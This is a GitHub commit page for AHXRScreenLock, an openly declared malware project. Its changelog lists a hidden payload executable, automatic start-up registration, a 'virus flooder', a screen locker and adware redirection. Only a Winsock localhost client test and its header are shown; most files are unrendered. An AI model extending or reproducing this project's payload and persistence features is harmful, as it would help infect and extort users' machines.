-
Notifications
You must be signed in to change notification settings - Fork 28
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
1.5 (11/12/2017) - Major bug fixes to Shutdown 2017 - Shutdown dependencies fixed. Can now be used by itself - Silent and hidden payload executable added. - Shutdown 2017 minor payload added - Payloads automatically register for start-up. - New executable now works as a virus flooder - Builder library issues fixed - Locker calibration fixed - Malware will randomly send users to links (Adware capability - see malicious.txt)
- Loading branch information
Showing
49 changed files
with
4,098 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Binary file not shown.
Large diffs are not rendered by default.
Oops, something went wrong.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,159 @@ | ||
/* | ||
@title | ||
AHXRScreenLock | ||
@author | ||
AHXR (https://github.com/AHXR) | ||
@copyright | ||
2017 | ||
AHXRScreenLock is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
AHXRScreenLock is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>. | ||
*/ | ||
//======================================================= | ||
#define WIN32_LEAN_AND_MEAN | ||
|
||
#include <windows.h> | ||
#include <winsock2.h> | ||
#include <ws2tcpip.h> | ||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include "clientTest.h" | ||
#include "serverThread.h" | ||
|
||
#pragma comment (lib, "Ws2_32.lib") | ||
#pragma comment (lib, "Mswsock.lib") | ||
#pragma comment (lib, "AdvApi32.lib") | ||
|
||
HANDLE h_client; | ||
DWORD dw_client; | ||
bool b_new_message = false; | ||
char * c_message; | ||
|
||
|
||
|
||
void sendNewMessage(char * message) { | ||
b_new_message = true; | ||
c_message = message; | ||
} | ||
|
||
#ifdef CLIENT_SERVER_TEST | ||
|
||
void clientServerTest() { | ||
h_client = CreateThread(0, 0, t_clientServerTest, 0, 0, &dw_client); | ||
} | ||
|
||
DWORD WINAPI t_clientServerTest(LPVOID lpParameter) { | ||
WSADATA wsaData; | ||
SOCKET ConnectSocket = INVALID_SOCKET; | ||
struct addrinfo *result = NULL, | ||
*ptr = NULL, | ||
hints; | ||
char recvbuf[DEFAULT_BUFLEN]; | ||
int iResult; | ||
int recvbuflen = DEFAULT_BUFLEN; | ||
|
||
// Initialize Winsock | ||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); | ||
if (iResult != 0) { | ||
printf("WSAStartup failed with error: %d\n", iResult); | ||
return 1; | ||
} | ||
|
||
ZeroMemory(&hints, sizeof(hints)); | ||
hints.ai_family = AF_UNSPEC; | ||
hints.ai_socktype = SOCK_STREAM; | ||
hints.ai_protocol = IPPROTO_TCP; | ||
|
||
// Resolve the server address and port | ||
iResult = getaddrinfo("localhost", DEFAULT_PORT, &hints, &result); | ||
if (iResult != 0) { | ||
printf("getaddrinfo failed with error: %d\n", iResult); | ||
WSACleanup(); | ||
return 1; | ||
} | ||
|
||
// Attempt to connect to an address until one succeeds | ||
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { | ||
|
||
// Create a SOCKET for connecting to server | ||
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, | ||
ptr->ai_protocol); | ||
if (ConnectSocket == INVALID_SOCKET) { | ||
printf("socket failed with error: %ld\n", WSAGetLastError()); | ||
WSACleanup(); | ||
return 1; | ||
} | ||
|
||
// Connect to server. | ||
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); | ||
if (iResult == SOCKET_ERROR) { | ||
closesocket(ConnectSocket); | ||
ConnectSocket = INVALID_SOCKET; | ||
continue; | ||
} | ||
break; | ||
} | ||
|
||
freeaddrinfo(result); | ||
|
||
if (ConnectSocket == INVALID_SOCKET) { | ||
printf("Unable to connect to server!\n"); | ||
WSACleanup(); | ||
return 1; | ||
} | ||
|
||
|
||
while (1) { | ||
if (b_new_message) { | ||
iResult = send(ConnectSocket, c_message, (int)strlen(c_message), 0); | ||
|
||
if (iResult == SOCKET_ERROR) { | ||
printf("send failed with error: %d\n", WSAGetLastError()); | ||
closesocket(ConnectSocket); | ||
WSACleanup(); | ||
return 1; | ||
} | ||
b_new_message = false; | ||
} | ||
} | ||
|
||
|
||
// shutdown the connection since no more data will be sent | ||
iResult = shutdown(ConnectSocket, SD_SEND); | ||
if (iResult == SOCKET_ERROR) { | ||
printf("shutdown failed with error: %d\n", WSAGetLastError()); | ||
closesocket(ConnectSocket); | ||
WSACleanup(); | ||
return 1; | ||
} | ||
|
||
// Receive until the peer closes the connection | ||
do { | ||
|
||
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); | ||
if (iResult > 0) | ||
printf("Message received: %s\n", recvbuf); | ||
else if (iResult == 0) | ||
printf("Connection closed\n"); | ||
else | ||
printf("recv failed with error: %d\n", WSAGetLastError()); | ||
|
||
} while (iResult > 0); | ||
|
||
// cleanup | ||
closesocket(ConnectSocket); | ||
WSACleanup(); | ||
|
||
return 0; | ||
} | ||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
/* | ||
@title | ||
AHXRScreenLock | ||
@author | ||
AHXR (https://github.com/AHXR) | ||
@copyright | ||
2017 | ||
AHXRScreenLock is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
AHXRScreenLock is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>. | ||
https://msdn.microsoft.com/en-us/library/windows/desktop/ms737889(v=vs.85).aspx | ||
*/ | ||
//======================================================= | ||
//#define CLIENT_SERVER_TEST | ||
|
||
#ifdef CLIENT_SERVER_TEST | ||
extern void clientServerTest(); | ||
DWORD WINAPI t_clientServerTest(LPVOID lpParameter); | ||
#endif | ||
|
||
//extern void sendNewMessage(char * message); |
Oops, something went wrong.